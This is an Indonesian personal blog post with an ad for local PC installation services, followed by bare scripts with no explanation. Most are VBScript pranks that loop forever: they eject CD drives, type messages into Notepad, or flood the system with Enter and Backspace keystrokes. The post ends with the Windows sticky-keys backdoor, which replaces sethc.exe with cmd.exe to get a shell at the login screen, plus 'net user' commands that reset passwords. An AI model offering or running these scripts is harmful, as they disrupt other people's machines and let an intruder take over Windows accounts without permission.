Post By Fhianjunior 29-04-2013
Download link:
Terima kasih anda masih setia mengunjungi blog kami ,
Menerima Penginstalan PC / Laptop Untuk Daerah Makassar ,, Harga Murah Dan Terjangkau Khususnya Bagi Pelajar Dan Mahasiswa Daerah Makassar Dan Sekitarnya Alamat : Jl.AbubakarLambogo No 178 Pettarani Makassar Jl.Aspol Toddopuli Blok C20 Contact person : +628524138771 (Fh14n)
Komputer Sangat Banyak Yang bisa Kita pelajari dan banyak hal didalam komputer yang belum ketahui, Ayo ketahui Sekarang !.
Internet Begitu luas, ayo pelajari sekarang jangan sampai kita GaptekK ,, hahaha
Jika cinta itu Sistem Operasi, maka, tak akan kubiarkan cinta ini terkena virus yang bisa mengganggu stabilitas dan eksistensinya sebagai sistem operasi yang tangguh. kalau perlu akan kugunakan sistem operasi yang kebal virus.
Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop |
WScript.Sleep 18000 WScript.Sleep 1000 do Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "H" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "l" WScript.Sleep 500 WshShell.SendKeys "o" WScript.Sleep 500 WshShell.SendKeys ". " WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "p" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "K" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "i" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 wscript.sleep 5000 loop |
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Kamu emang jelak koq!" loop |
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop |
MsgBox "Balik lagi ah...saltik" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop |
copy c:\windows\system32\sethc.exe c:\
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
net user Hong passbarusaya
net user “satu dua tiga” passbarusaya
copy c:\sethc.exe c:\windows\system32\sethc.exe